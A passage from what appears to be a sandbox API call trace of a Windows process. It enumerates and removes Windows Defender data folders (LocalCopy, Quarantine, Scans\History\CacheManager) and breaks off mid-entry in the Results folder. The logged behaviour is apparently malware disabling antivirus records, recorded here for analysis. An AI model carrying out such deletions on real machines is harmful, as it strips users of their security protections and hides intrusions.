[0277.981] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0277.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de78) returned 1 [0277.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dc08) returned 1 [0277.981] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy" (normalized: "c:\\programdata\\microsoft\\windows defender\\localcopy"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e190 | out: lpFileInformation=0x1bb7e190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0277.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dbb8) returned 1 [0277.981] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy" (normalized: "c:\\programdata\\microsoft\\windows defender\\localcopy")) returned 1 [0277.982] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7e060 | out: lpFindFileData=0x1bb7e060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1 [0277.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0277.982] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0277.982] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", nBufferLength=0x35, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", lpFilePart=0x0) returned 0x34 [0277.982] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.983] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.983] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.983] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0277.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0277.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0277.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0277.983] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0277.983] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", nBufferLength=0x35, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", lpFilePart=0x0) returned 0x34 [0277.983] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.984] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.984] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.984] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0277.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0277.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0277.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0277.984] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0277.984] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", nBufferLength=0x35, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine", lpFilePart=0x0) returned 0x34 [0277.984] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.985] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.985] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.985] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0277.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de78) returned 1 [0277.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dc08) returned 1 [0277.985] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine" (normalized: "c:\\programdata\\microsoft\\windows defender\\quarantine"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e190 | out: lpFileInformation=0x1bb7e190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0277.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dbb8) returned 1 [0277.985] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine" (normalized: "c:\\programdata\\microsoft\\windows defender\\quarantine")) returned 1 [0277.985] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7e060 | out: lpFindFileData=0x1bb7e060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1 [0277.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0277.986] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0277.986] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", nBufferLength=0x30, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", lpFilePart=0x0) returned 0x2f [0277.986] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.986] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.987] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0277.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.987] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0277.987] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", nBufferLength=0x38, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", lpFilePart=0x0) returned 0x37 [0277.987] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x1bb7de60 | out: lpFindFileData=0x1bb7de60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.988] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.988] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CacheManager", cAlternateFileName="CACHEM~1")) returned 1 [0277.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0277.988] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0277.988] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", nBufferLength=0x45, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", lpFilePart=0x0) returned 0x44 [0277.988] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x1bb7dde0 | out: lpFindFileData=0x1bb7dde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08140 [0277.989] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.989] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.989] FindClose (in: hFindFile=0x1ae08140 | out: hFindFile=0x1ae08140) returned 1 [0277.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de08) returned 1 [0277.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e028) returned 1 [0277.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0277.990] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0277.990] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", nBufferLength=0x45, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", lpFilePart=0x0) returned 0x44 [0277.990] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x1bb7dde0 | out: lpFindFileData=0x1bb7dde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08140 [0277.990] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.990] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.990] FindClose (in: hFindFile=0x1ae08140 | out: hFindFile=0x1ae08140) returned 1 [0277.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de08) returned 1 [0277.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e028) returned 1 [0277.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e008) returned 1 [0277.991] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0277.991] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", nBufferLength=0x45, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", lpFilePart=0x0) returned 0x44 [0277.991] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x1bb7ddb0 | out: lpFindFileData=0x1bb7ddb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08140 [0277.991] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7de50 | out: lpFindFileData=0x1bb7de50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.991] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7de50 | out: lpFindFileData=0x1bb7de50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.991] FindClose (in: hFindFile=0x1ae08140 | out: hFindFile=0x1ae08140) returned 1 [0277.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dd78) returned 1 [0277.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dfb8) returned 1 [0277.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db08) returned 1 [0277.992] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e090 | out: lpFileInformation=0x1bb7e090*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76b24d28, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b24d28, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0277.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dab8) returned 1 [0277.992] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager")) returned 1 [0277.992] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Results", cAlternateFileName="")) returned 1 [0277.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0277.992] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0277.992] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", nBufferLength=0x40, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", lpFilePart=0x0) returned 0x3f [0277.993] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x1bb7dde0 | out: lpFindFileData=0x1bb7dde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08140 [0277.993] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, 